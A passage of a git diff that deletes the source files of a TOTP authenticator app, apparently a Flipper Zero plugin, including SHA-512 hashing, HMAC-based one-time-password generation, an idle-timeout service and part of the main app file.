{ -#endif - -enum { SHA256_DIGEST_SIZE = 256 / 8 }; - -/* Structure to save state of computation between the single steps. */ -struct sha256_ctx { - uint32_t state[8]; - - uint32_t total[2]; - size_t buflen; /* ≥ 0, ≤ 128 */ - uint32_t buffer[32]; /* 128 bytes; the first buflen bytes are in use */ -}; - -/* Initialize structure containing state of computation. */ -extern void sha256_init_ctx(struct sha256_ctx* ctx); - -/* Starting with the result of former calls of this function (or the - initialization function update the context for the next LEN bytes - starting at BUFFER. - It is necessary that LEN is a multiple of 64!!! */ -extern void sha256_process_block(const void* buffer, size_t len, struct sha256_ctx* ctx); - -/* Starting with the result of former calls of this function (or the - initialization function update the context for the next LEN bytes - starting at BUFFER. - It is NOT required that LEN is a multiple of 64. */ -extern void sha256_process_bytes(const void* buffer, size_t len, struct sha256_ctx* ctx); - -/* Process the remaining bytes in the buffer and put result from CTX - in first 32 (28) bytes following RESBUF. The result is always in little - endian byte order, so that a byte-wise output yields to the wanted - ASCII representation of the message digest. */ -extern void* sha256_finish_ctx(struct sha256_ctx* ctx, void* restrict resbuf); - -/* Put result from CTX in first 32 (28) bytes following RESBUF. The result is - always in little endian byte order, so that a byte-wise output yields - to the wanted ASCII representation of the message digest. */ -extern void* sha256_read_ctx(const struct sha256_ctx* ctx, void* restrict resbuf); - -/* Compute SHA256 message digest for LEN bytes beginning at BUFFER. - The result is always in little endian byte order, so that a byte-wise - output yields to the wanted ASCII representation of the message - digest. */ -extern void* sha256_buffer(const char* buffer, size_t len, void* restrict resblock); - -#ifdef __cplusplus -} -#endif - -/* - * Hey Emacs! - * Local Variables: - * coding: utf-8 - * End: - */ diff --git a/applications/external/totp/services/hmac/sha512.c b/applications/external/totp/services/hmac/sha512.c deleted file mode 100644 index ffe2864fb..000000000 --- a/applications/external/totp/services/hmac/sha512.c +++ /dev/null @@ -1,309 +0,0 @@ -/* sha512.c - Functions to compute SHA512 message digest of files or - memory blocks according to the NIST specification FIPS-180-2. - - Copyright (C) 2005-2006, 2008-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -/* Written by David Madore, considerably copypasting from - Scott G. Miller's sha1.c -*/ - -/* Specification. */ -#include "sha512.h" - -#include -#include - -#include "byteswap.h" -#include "sha_pad_buffer.h" - -#define SWAP(n) swap_uint64(n) - -/* - Takes a pointer to a 512 bit block of data (eight 64 bit ints) and - initializes it to the start constants of the SHA512 algorithm. This - must be called before using hash in the call to sha512_hash -*/ -void sha512_init_ctx(struct sha512_ctx* ctx) { - ctx->state[0] = u64hilo(0x6a09e667, 0xf3bcc908); - ctx->state[1] = u64hilo(0xbb67ae85, 0x84caa73b); - ctx->state[2] = u64hilo(0x3c6ef372, 0xfe94f82b); - ctx->state[3] = u64hilo(0xa54ff53a, 0x5f1d36f1); - ctx->state[4] = u64hilo(0x510e527f, 0xade682d1); - ctx->state[5] = u64hilo(0x9b05688c, 0x2b3e6c1f); - ctx->state[6] = u64hilo(0x1f83d9ab, 0xfb41bd6b); - ctx->state[7] = u64hilo(0x5be0cd19, 0x137e2179); - - ctx->total[0] = ctx->total[1] = u64lo(0); - ctx->buflen = 0; -} - -/* Copy the value from V into the memory location pointed to by *CP, - If your architecture allows unaligned access, this is equivalent to - * (__typeof__ (v) *) cp = v */ -static void set_uint64(char* cp, u64 v) { - memcpy(cp, &v, sizeof v); -} - -/* Put result from CTX in first 64 bytes following RESBUF. - The result must be in little endian byte order. */ -void* sha512_read_ctx(const struct sha512_ctx* ctx, void* resbuf) { - int i; - char* r = resbuf; - - for(i = 0; i < 8; i++) set_uint64(r + i * sizeof ctx->state[0], SWAP(ctx->state[i])); - - return resbuf; -} - -/* Process the remaining bytes in the internal buffer and the usual - prolog according to the standard and write the result to RESBUF. */ -static void sha512_conclude_ctx(struct sha512_ctx* ctx) { - /* Take yet unprocessed bytes into account. */ - size_t bytes = ctx->buflen; - size_t size = (bytes < 112) ? 128 / 8 : 128 * 2 / 8; - - /* Now count remaining bytes. */ - ctx->total[0] = u64plus(ctx->total[0], u64lo(bytes)); - if(u64lt(ctx->total[0], u64lo(bytes))) ctx->total[1] = u64plus(ctx->total[1], u64lo(1)); - - /* Put the 128-bit file length in *bits* at the end of the buffer. - Use set_uint64 rather than a simple assignment, to avoid risk of - unaligned access. */ - set_uint64( - (char*)&ctx->buffer[size - 2], - SWAP(u64or(u64shl(ctx->total[1], 3), u64shr(ctx->total[0], 61)))); - set_uint64((char*)&ctx->buffer[size - 1], SWAP(u64shl(ctx->total[0], 3))); - - sha_pad_buffer(&((uint8_t*)ctx->buffer)[bytes], (size - 2) * 8 - bytes); - - /* Process last bytes. */ - sha512_process_block(ctx->buffer, size * 8, ctx); -} - -void* sha512_finish_ctx(struct sha512_ctx* ctx, void* resbuf) { - sha512_conclude_ctx(ctx); - return sha512_read_ctx(ctx, resbuf); -} - -/* Compute SHA512 message digest for LEN bytes beginning at BUFFER. The - result is always in little endian byte order, so that a byte-wise - output yields to the wanted ASCII representation of the message - digest. */ -void* sha512_buffer(const char* buffer, size_t len, void* resblock) { - struct sha512_ctx ctx; - - /* Initialize the computation context. */ - sha512_init_ctx(&ctx); - - /* Process whole buffer but last len % 128 bytes. */ - sha512_process_bytes(buffer, len, &ctx); - - /* Put result in desired memory area. */ - return sha512_finish_ctx(&ctx, resblock); -} - -void sha512_process_bytes(const void* buffer, size_t len, struct sha512_ctx* ctx) { - /* When we already have some bits in our internal buffer concatenate - both inputs first. */ - if(ctx->buflen != 0) { - size_t left_over = ctx->buflen; - size_t add = 256 - left_over > len ? len : 256 - left_over; - - memcpy(&((char*)ctx->buffer)[left_over], buffer, add); - ctx->buflen += add; - - if(ctx->buflen > 128) { - sha512_process_block(ctx->buffer, ctx->buflen & ~127, ctx); - - ctx->buflen &= 127; - /* The regions in the following copy operation cannot overlap, - because ctx->buflen < 128 ≤ (left_over + add) & ~127. */ - memcpy(ctx->buffer, &((char*)ctx->buffer)[(left_over + add) & ~127], ctx->buflen); - } - - buffer = (const char*)buffer + add; - len -= add; - } - - /* Process available complete blocks. */ - if(len >= 128) { -#if !(_STRING_ARCH_unaligned || _STRING_INLINE_unaligned) -#define UNALIGNED_P(p) ((uintptr_t)(p) % sizeof(u64) != 0) - if(UNALIGNED_P(buffer)) - while(len > 128) { - sha512_process_block(memcpy(ctx->buffer, buffer, 128), 128, ctx); //-V1086 - buffer = (const char*)buffer + 128; - len -= 128; - } - else -#endif - { - sha512_process_block(buffer, len & ~127, ctx); - buffer = (const char*)buffer + (len & ~127); - len &= 127; - } - } - - /* Move remaining bytes in internal buffer. */ - if(len > 0) { - size_t left_over = ctx->buflen; - - memcpy(&((char*)ctx->buffer)[left_over], buffer, len); - left_over += len; - if(left_over >= 128) { - sha512_process_block(ctx->buffer, 128, ctx); - left_over -= 128; - /* The regions in the following copy operation cannot overlap, - because left_over ≤ 128. */ - memcpy(ctx->buffer, &ctx->buffer[16], left_over); - } - ctx->buflen = left_over; - } -} - -/* --- Code below is the primary difference between sha1.c and sha512.c --- */ - -/* SHA512 round constants */ -#define K(I) sha512_round_constants[I] -static u64 const sha512_round_constants[80] = { - u64init(0x428a2f98, 0xd728ae22), u64init(0x71374491, 0x23ef65cd), - u64init(0xb5c0fbcf, 0xec4d3b2f), u64init(0xe9b5dba5, 0x8189dbbc), - u64init(0x3956c25b, 0xf348b538), u64init(0x59f111f1, 0xb605d019), - u64init(0x923f82a4, 0xaf194f9b), u64init(0xab1c5ed5, 0xda6d8118), - u64init(0xd807aa98, 0xa3030242), u64init(0x12835b01, 0x45706fbe), - u64init(0x243185be, 0x4ee4b28c), u64init(0x550c7dc3, 0xd5ffb4e2), - u64init(0x72be5d74, 0xf27b896f), u64init(0x80deb1fe, 0x3b1696b1), - u64init(0x9bdc06a7, 0x25c71235), u64init(0xc19bf174, 0xcf692694), - u64init(0xe49b69c1, 0x9ef14ad2), u64init(0xefbe4786, 0x384f25e3), - u64init(0x0fc19dc6, 0x8b8cd5b5), u64init(0x240ca1cc, 0x77ac9c65), - u64init(0x2de92c6f, 0x592b0275), u64init(0x4a7484aa, 0x6ea6e483), - u64init(0x5cb0a9dc, 0xbd41fbd4), u64init(0x76f988da, 0x831153b5), - u64init(0x983e5152, 0xee66dfab), u64init(0xa831c66d, 0x2db43210), - u64init(0xb00327c8, 0x98fb213f), u64init(0xbf597fc7, 0xbeef0ee4), - u64init(0xc6e00bf3, 0x3da88fc2), u64init(0xd5a79147, 0x930aa725), - u64init(0x06ca6351, 0xe003826f), u64init(0x14292967, 0x0a0e6e70), - u64init(0x27b70a85, 0x46d22ffc), u64init(0x2e1b2138, 0x5c26c926), - u64init(0x4d2c6dfc, 0x5ac42aed), u64init(0x53380d13, 0x9d95b3df), - u64init(0x650a7354, 0x8baf63de), u64init(0x766a0abb, 0x3c77b2a8), - u64init(0x81c2c92e, 0x47edaee6), u64init(0x92722c85, 0x1482353b), - u64init(0xa2bfe8a1, 0x4cf10364), u64init(0xa81a664b, 0xbc423001), - u64init(0xc24b8b70, 0xd0f89791), u64init(0xc76c51a3, 0x0654be30), - u64init(0xd192e819, 0xd6ef5218), u64init(0xd6990624, 0x5565a910), - u64init(0xf40e3585, 0x5771202a), u64init(0x106aa070, 0x32bbd1b8), - u64init(0x19a4c116, 0xb8d2d0c8), u64init(0x1e376c08, 0x5141ab53), - u64init(0x2748774c, 0xdf8eeb99), u64init(0x34b0bcb5, 0xe19b48a8), - u64init(0x391c0cb3, 0xc5c95a63), u64init(0x4ed8aa4a, 0xe3418acb), - u64init(0x5b9cca4f, 0x7763e373), u64init(0x682e6ff3, 0xd6b2b8a3), - u64init(0x748f82ee, 0x5defb2fc), u64init(0x78a5636f, 0x43172f60), - u64init(0x84c87814, 0xa1f0ab72), u64init(0x8cc70208, 0x1a6439ec), - u64init(0x90befffa, 0x23631e28), u64init(0xa4506ceb, 0xde82bde9), - u64init(0xbef9a3f7, 0xb2c67915), u64init(0xc67178f2, 0xe372532b), - u64init(0xca273ece, 0xea26619c), u64init(0xd186b8c7, 0x21c0c207), - u64init(0xeada7dd6, 0xcde0eb1e), u64init(0xf57d4f7f, 0xee6ed178), - u64init(0x06f067aa, 0x72176fba), u64init(0x0a637dc5, 0xa2c898a6), - u64init(0x113f9804, 0xbef90dae), u64init(0x1b710b35, 0x131c471b), - u64init(0x28db77f5, 0x23047d84), u64init(0x32caab7b, 0x40c72493), - u64init(0x3c9ebe0a, 0x15c9bebc), u64init(0x431d67c4, 0x9c100d4c), - u64init(0x4cc5d4be, 0xcb3e42b6), u64init(0x597f299c, 0xfc657e2a), - u64init(0x5fcb6fab, 0x3ad6faec), u64init(0x6c44198c, 0x4a475817), -}; - -/* Round functions. */ -#define F2(A, B, C) u64or(u64and(A, B), u64and(C, u64or(A, B))) -#define F1(E, F, G) u64xor(G, u64and(E, u64xor(F, G))) - -/* Process LEN bytes of BUFFER, accumulating context into CTX. - It is assumed that LEN % 128 == 0. - Most of this code comes from GnuPG's cipher/sha1.c. */ - -void sha512_process_block(const void* buffer, size_t len, struct sha512_ctx* ctx) { - u64 const* words = buffer; - u64 const* endp = words + len / sizeof(u64); - u64 x[16]; - u64 a = ctx->state[0]; - u64 b = ctx->state[1]; - u64 c = ctx->state[2]; - u64 d = ctx->state[3]; - u64 e = ctx->state[4]; - u64 f = ctx->state[5]; - u64 g = ctx->state[6]; - u64 h = ctx->state[7]; - u64 lolen = u64size(len); - - /* First increment the byte count. FIPS PUB 180-2 specifies the possible - length of the file up to 2^128 bits. Here we only compute the - number of bytes. Do a double word increment. */ - ctx->total[0] = u64plus(ctx->total[0], lolen); - ctx->total[1] = u64plus( - ctx->total[1], u64plus(u64size(len >> 31 >> 31 >> 2), u64lo(u64lt(ctx->total[0], lolen)))); - -#define S0(x) u64xor(u64rol(x, 63), u64xor(u64rol(x, 56), u64shr(x, 7))) -#define S1(x) u64xor(u64rol(x, 45), u64xor(u64rol(x, 3), u64shr(x, 6))) -#define SS0(x) u64xor(u64rol(x, 36), u64xor(u64rol(x, 30), u64rol(x, 25))) -#define SS1(x) u64xor(u64rol(x, 50), u64xor(u64rol(x, 46), u64rol(x, 23))) - -#define M(I) \ - (x[(I)&15] = u64plus( \ - x[(I)&15], \ - u64plus(S1(x[((I)-2) & 15]), u64plus(x[((I)-7) & 15], S0(x[((I)-15) & 15]))))) - -#define R(A, B, C, D, E, F, G, H, K, M) \ - do { \ - u64 t0 = u64plus(SS0(A), F2(A, B, C)); \ - u64 t1 = u64plus(H, u64plus(SS1(E), u64plus(F1(E, F, G), u64plus(K, M)))); \ - D = u64plus(D, t1); \ - H = u64plus(t0, t1); \ - } while(0) - - while(words < endp) { - int t; - /* FIXME: see sha1.c for a better implementation. */ - for(t = 0; t < 16; t++) { - x[t] = SWAP(*words); - words++; - } - - for(int i = 0; i < 80; i++) { - u64 xx = i < 16 ? x[i] : M(i); - R(a, b, c, d, e, f, g, h, K(i), xx); - u64 tt = a; - a = h; - h = g; - g = f; - f = e; - e = d; - d = c; - c = b; - b = tt; - } - - a = ctx->state[0] = u64plus(ctx->state[0], a); - b = ctx->state[1] = u64plus(ctx->state[1], b); - c = ctx->state[2] = u64plus(ctx->state[2], c); - d = ctx->state[3] = u64plus(ctx->state[3], d); - e = ctx->state[4] = u64plus(ctx->state[4], e); - f = ctx->state[5] = u64plus(ctx->state[5], f); - g = ctx->state[6] = u64plus(ctx->state[6], g); - h = ctx->state[7] = u64plus(ctx->state[7], h); - } -} - -/* - * Hey Emacs! - * Local Variables: - * coding: utf-8 - * End: - */ diff --git a/applications/external/totp/services/hmac/sha512.h b/applications/external/totp/services/hmac/sha512.h deleted file mode 100644 index 38590829e..000000000 --- a/applications/external/totp/services/hmac/sha512.h +++ /dev/null @@ -1,82 +0,0 @@ -/* Declarations of functions and data types used for SHA512 and SHA384 sum - library functions. - Copyright (C) 2005-2006, 2008-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -#pragma once - -#include -#include "u64.h" - -#ifdef __cplusplus -extern "C" { -#endif - -enum { SHA512_DIGEST_SIZE = 512 / 8 }; - -/* Structure to save state of computation between the single steps. */ -struct sha512_ctx { - u64 state[8]; - - u64 total[2]; - size_t buflen; /* ≥ 0, ≤ 256 */ - u64 buffer[32]; /* 256 bytes; the first buflen bytes are in use */ -}; - -/* Initialize structure containing state of computation. */ -extern void sha512_init_ctx(struct sha512_ctx* ctx); - -/* Starting with the result of former calls of this function (or the - initialization function update the context for the next LEN bytes - starting at BUFFER. - It is necessary that LEN is a multiple of 128!!! */ -extern void sha512_process_block(const void* buffer, size_t len, struct sha512_ctx* ctx); - -/* Starting with the result of former calls of this function (or the - initialization function update the context for the next LEN bytes - starting at BUFFER. - It is NOT required that LEN is a multiple of 128. */ -extern void sha512_process_bytes(const void* buffer, size_t len, struct sha512_ctx* ctx); - -/* Process the remaining bytes in the buffer and put result from CTX - in first 64 (48) bytes following RESBUF. The result is always in little - endian byte order, so that a byte-wise output yields to the wanted - ASCII representation of the message digest. */ -extern void* sha512_finish_ctx(struct sha512_ctx* ctx, void* restrict resbuf); - -/* Put result from CTX in first 64 (48) bytes following RESBUF. The result is - always in little endian byte order, so that a byte-wise output yields - to the wanted ASCII representation of the message digest. - - IMPORTANT: On some systems it is required that RESBUF is correctly - aligned for a 32 bits value. */ -extern void* sha512_read_ctx(const struct sha512_ctx* ctx, void* restrict resbuf); - -/* Compute SHA512 message digest for LEN bytes beginning at BUFFER. - The result is always in little endian byte order, so that a byte-wise - output yields to the wanted ASCII representation of the message - digest. */ -extern void* sha512_buffer(const char* buffer, size_t len, void* restrict resblock); - -#ifdef __cplusplus -} -#endif - -/* - * Hey Emacs! - * Local Variables: - * coding: utf-8 - * End: - */ diff --git a/applications/external/totp/services/hmac/sha_pad_buffer.c b/applications/external/totp/services/hmac/sha_pad_buffer.c deleted file mode 100644 index badedbcc7..000000000 --- a/applications/external/totp/services/hmac/sha_pad_buffer.c +++ /dev/null @@ -1,11 +0,0 @@ -#include "sha_pad_buffer.h" -#include - -void sha_pad_buffer(uint8_t* buffer, size_t size) { - if(size > 0) { - buffer[0] = 0x80; - if(size > 1) { - memset(&buffer[1], 0, size - 1); - } - } -} \ No newline at end of file diff --git a/applications/external/totp/services/hmac/sha_pad_buffer.h b/applications/external/totp/services/hmac/sha_pad_buffer.h deleted file mode 100644 index 7dba40fa9..000000000 --- a/applications/external/totp/services/hmac/sha_pad_buffer.h +++ /dev/null @@ -1,4 +0,0 @@ -#include -#include - -void sha_pad_buffer(uint8_t* buffer, size_t size); \ No newline at end of file diff --git a/applications/external/totp/services/hmac/u64.h b/applications/external/totp/services/hmac/u64.h deleted file mode 100644 index 91e42e6c9..000000000 --- a/applications/external/totp/services/hmac/u64.h +++ /dev/null @@ -1,44 +0,0 @@ -/* uint64_t-like operations that work even on hosts lacking uint64_t - - Copyright (C) 2006, 2009-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -/* Written by Paul Eggert. */ - -#pragma once - -#include - -#ifndef _GL_U64_INLINE -#define _GL_U64_INLINE _GL_INLINE -#endif - -/* Return X rotated left by N bits, where 0 < N < 64. */ -#define u64rol(x, n) u64or(u64shl(x, n), u64shr(x, 64 - (n))) - -/* Native implementations are trivial. See below for comments on what - these operations do. */ -typedef uint64_t u64; -#define u64hilo(hi, lo) ((u64)(((u64)(hi) << 32) + (lo))) -#define u64init(hi, lo) u64hilo(hi, lo) -#define u64lo(x) ((u64)(x)) -#define u64size(x) u64lo(x) -#define u64lt(x, y) ((x) < (y)) -#define u64and(x, y) ((x) & (y)) -#define u64or(x, y) ((x) | (y)) -#define u64xor(x, y) ((x) ^ (y)) -#define u64plus(x, y) ((x) + (y)) -#define u64shl(x, n) ((x) << (n)) -#define u64shr(x, n) ((x) >> (n)) diff --git a/applications/external/totp/services/idle_timeout/idle_timeout.c b/applications/external/totp/services/idle_timeout/idle_timeout.c deleted file mode 100644 index 66369eb93..000000000 --- a/applications/external/totp/services/idle_timeout/idle_timeout.c +++ /dev/null @@ -1,66 +0,0 @@ -#include "idle_timeout.h" -#include -#include - -#define IDLE_TIMER_CHECK_PERIODICITY_SEC (1) -#define SEC_TO_TICKS(sec) ((sec)*1000) - -struct IdleTimeoutContext { - FuriTimer* timer; - bool activity_reported; - void* on_idle_callback_context; - IDLE_TIMEOUT_CALLBACK on_idle_callback; - uint16_t timeout_sec; - uint16_t idle_period_sec; - bool idle_handled; -}; - -static void idle_timer_callback(void* context) { - IdleTimeoutContext* instance = context; - if(instance->activity_reported) { - instance->idle_period_sec = 0; - instance->idle_handled = false; - instance->activity_reported = false; - } else if(!instance->idle_handled) { - if(instance->idle_period_sec >= instance->timeout_sec) { - instance->idle_handled = - instance->on_idle_callback(instance->on_idle_callback_context); - } else { - instance->idle_period_sec += IDLE_TIMER_CHECK_PERIODICITY_SEC; - } - } -} - -IdleTimeoutContext* idle_timeout_alloc( - uint16_t timeout_sec, - IDLE_TIMEOUT_CALLBACK on_idle_callback, - void* on_idle_callback_context) { - IdleTimeoutContext* instance = malloc(sizeof(IdleTimeoutContext)); - if(instance == NULL) return NULL; - - instance->timer = furi_timer_alloc(&idle_timer_callback, FuriTimerTypePeriodic, instance); - if(instance->timer == NULL) return NULL; - - instance->timeout_sec = timeout_sec; - instance->on_idle_callback = on_idle_callback; - instance->on_idle_callback_context = on_idle_callback_context; - return instance; -} - -void idle_timeout_start(IdleTimeoutContext* context) { - furi_timer_start(context->timer, SEC_TO_TICKS(IDLE_TIMER_CHECK_PERIODICITY_SEC)); -} - -void idle_timeout_stop(IdleTimeoutContext* context) { - furi_timer_stop(context->timer); -} - -void idle_timeout_report_activity(IdleTimeoutContext* context) { - context->activity_reported = true; -} - -void idle_timeout_free(IdleTimeoutContext* context) { - furi_timer_stop(context->timer); - furi_timer_free(context->timer); - free(context); -} \ No newline at end of file diff --git a/applications/external/totp/services/idle_timeout/idle_timeout.h b/applications/external/totp/services/idle_timeout/idle_timeout.h deleted file mode 100644 index 5e2359876..000000000 --- a/applications/external/totp/services/idle_timeout/idle_timeout.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once - -#include -#include - -typedef struct IdleTimeoutContext IdleTimeoutContext; - -typedef bool (*IDLE_TIMEOUT_CALLBACK)(void* context); - -/** - * @brief Initializes a new instance of IDLE timeout - * @param timeout_sec IDLE timeout in seconds - * @param on_idle_callback callback function to trigger when IDLE timeout happened - * @param on_idle_callback_context callback function context - * @return IDLE timeout context - */ -IdleTimeoutContext* idle_timeout_alloc( - uint16_t timeout_sec, - IDLE_TIMEOUT_CALLBACK on_idle_callback, - void* on_idle_callback_context); - -/** - * @brief Starts IDLE timeout - * @param context IDLE timeout context - */ -void idle_timeout_start(IdleTimeoutContext* context); - -/** - * @brief Stops IDLE timeout - * @param context IDLE timeout context - */ -void idle_timeout_stop(IdleTimeoutContext* context); - -/** - * @brief Reports activity to IDLE timeout - * @param context IDLE timeout context - */ -void idle_timeout_report_activity(IdleTimeoutContext* context); - -/** - * @brief Disposes IDLE timeout and releases all the resources - * @param context IDLE timeout context - */ -void idle_timeout_free(IdleTimeoutContext* context); \ No newline at end of file diff --git a/applications/external/totp/services/totp/totp.c b/applications/external/totp/services/totp/totp.c deleted file mode 100644 index 45a283b06..000000000 --- a/applications/external/totp/services/totp/totp.c +++ /dev/null @@ -1,103 +0,0 @@ -#include "totp.h" - -#include -#include -#include -#include -#include "../hmac/hmac_sha1.h" -#include "../hmac/hmac_sha256.h" -#include "../hmac/hmac_sha512.h" -#include "../hmac/byteswap.h" - -#define HMAC_MAX_RESULT_SIZE HMAC_SHA512_RESULT_SIZE - -/** - * @brief Generates the timeblock for a time in seconds. - * Timeblocks are the amount of intervals in a given time. For example, - * if 1,000,000 seconds has passed for 30 second intervals, you would get - * 33,333 timeblocks (intervals), where timeblock++ is effectively +30 seconds. - * @param interval in seconds - * @param for_time a time in seconds to get the current timeblocks - * @return Timeblock given \p for_time using \p interval - */ -uint64_t totp_timecode(uint8_t interval, uint64_t for_time) { - return for_time / interval; -} - -/** - * @brief Generates an OTP (One Time Password) - * @param algo hashing algorithm to be used - * @param plain_secret plain token secret - * @param plain_secret_length plain token secret length - * @param input input data for OTP code generation - * @return OTP code if code was successfully generated; 0 otherwise - */ -uint64_t otp_generate( - TOTP_ALGO algo, - const uint8_t* plain_secret, - size_t plain_secret_length, - uint64_t input) { - uint8_t hmac[HMAC_MAX_RESULT_SIZE] = {0}; - - uint64_t input_swapped = swap_uint64(input); - - int hmac_len = - (*algo)(plain_secret, plain_secret_length, (uint8_t*)&input_swapped, 8, &hmac[0]); - if(hmac_len == 0) { - return OTP_ERROR; - } - - uint64_t offset = (hmac[hmac_len - 1] & 0xF); - uint64_t i_code = - ((hmac[offset] & 0x7F) << 24 | (hmac[offset + 1] & 0xFF) << 16 | - (hmac[offset + 2] & 0xFF) << 8 | (hmac[offset + 3] & 0xFF)); - - return i_code; -} - -uint64_t totp_at( - TOTP_ALGO algo, - const uint8_t* plain_secret, - size_t plain_secret_length, - uint64_t for_time, - float timezone, - uint8_t interval) { - uint64_t for_time_adjusted = - timezone_offset_apply(for_time, timezone_offset_from_hours(timezone)); - return otp_generate( - algo, plain_secret, plain_secret_length, totp_timecode(interval, for_time_adjusted)); -} - -static int totp_algo_sha1( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output) { - hmac_sha1(key, key_length, input, input_length, output); - return HMAC_SHA1_RESULT_SIZE; -} - -static int totp_algo_sha256( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output) { - hmac_sha256(key, key_length, input, input_length, output); - return HMAC_SHA256_RESULT_SIZE; -} - -static int totp_algo_sha512( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output) { - hmac_sha512(key, key_length, input, input_length, output); - return HMAC_SHA512_RESULT_SIZE; -} - -const TOTP_ALGO TOTP_ALGO_SHA1 = (TOTP_ALGO)(&totp_algo_sha1); -const TOTP_ALGO TOTP_ALGO_SHA256 = (TOTP_ALGO)(&totp_algo_sha256); -const TOTP_ALGO TOTP_ALGO_SHA512 = (TOTP_ALGO)(&totp_algo_sha512); diff --git a/applications/external/totp/services/totp/totp.h b/applications/external/totp/services/totp/totp.h deleted file mode 100644 index d578f6ea9..000000000 --- a/applications/external/totp/services/totp/totp.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include -#include - -#define OTP_ERROR (0) - -/** - * @brief Must compute HMAC using passed arguments, output as char array through output. - * \p key is secret key buffer. - * \p key_length is secret key buffer length. - * \p input is input buffer. - * \p input_length is input buffer length. - * \p output is an output buffer of the resulting HMAC operation. - * Must return 0 if error, or the length in bytes of the HMAC operation. - */ -typedef int (*TOTP_ALGO)( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output); - -/** - * @brief Computes HMAC using SHA1 - */ -extern const TOTP_ALGO TOTP_ALGO_SHA1; - -/** - * @brief Computes HMAC using SHA256 - */ -extern const TOTP_ALGO TOTP_ALGO_SHA256; - -/** - * @brief Computes HMAC using SHA512 - */ -extern const TOTP_ALGO TOTP_ALGO_SHA512; - -/** - * @brief Generates a OTP key using the totp algorithm. - * @param algo hashing algorithm to be used - * @param plain_secret plain token secret - * @param plain_secret_length plain token secret length - * @param for_time the time the generated key will be created for - * @param timezone UTC timezone adjustment for the generated key - * @param interval token lifetime in seconds - * @return TOTP code if code was successfully generated; 0 otherwise - */ -uint64_t totp_at( - TOTP_ALGO algo, - const uint8_t* plain_secret, - size_t plain_secret_length, - uint64_t for_time, - float timezone, - uint8_t interval); diff --git a/applications/external/totp/totp_10px.png b/applications/external/totp/totp_10px.png deleted file mode 100644 index 70ed56d98..000000000 Binary files a/applications/external/totp/totp_10px.png and /dev/null differ diff --git a/applications/external/totp/totp_app.c b/applications/external/totp/totp_app.c deleted file mode 100644 index 251d7bb5b..000000000 --- a/applications/external/totp/totp_app.c +++ /dev/null @@ -1,285 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include "features_config.h" -#include "services/config/config.h" -#include "types/plugin_state.h" -#include "types/token_info.h" -#include "types/plugin_event.h" -#include "types/event_type.h" -#include "types/common.h" -#include "ui/scene_director.h" -#include "ui/constants.h" -#include "ui/common_dialogs.h" -#include "services/crypto/crypto_facade.h" -#include "cli/cli.h" -#include "version.h" - -struct TotpRenderCallbackContext { - FuriMutex* mutex; - PluginState* plugin_state; -}; - -static void render_callback(Canvas* const canvas, void* const ctx) { - furi_assert(ctx); - const struct TotpRenderCallbackContext* context = ctx; - if(furi_mutex_acquire(context->mutex, 25) == FuriStatusOk) { - totp_scene_director_render(canvas, context->plugin_state); - furi_mutex_release(context->mutex); - } -} - -static void input_callback(InputEvent* const input_event, void* const ctx) { - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static bool first_run_init(PluginState* const plugin_state) { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "No", NULL, "Yes"); - dialog_message_set_text( - message, - "Would you like to setup PIN?", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - DialogMessageButton dialog_result = dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - if(!totp_crypto_check_key_slot(plugin_state->crypto_settings.crypto_key_slot)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - if(dialog_result == DialogMessageButtonRight) { - totp_scene_director_activate_scene(plugin_state, TotpSceneAuthentication); - } else { - CryptoSeedIVResult seed_result = - totp_crypto_seed_iv(&plugin_state->crypto_settings, NULL, 0); - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData) { - if(!totp_config_file_update_crypto_signatures(plugin_state)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - } else if(seed_result == CryptoSeedIVResultFailed) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } - - return true; -} - -static bool pinless_activation(PluginState* const plugin_state) { - CryptoSeedIVResult seed_result = totp_crypto_seed_iv(&plugin_state->crypto_settings, NULL, 0); - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData) { - if(!totp_config_file_update_crypto_signatures(plugin_state)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - } else if(seed_result == 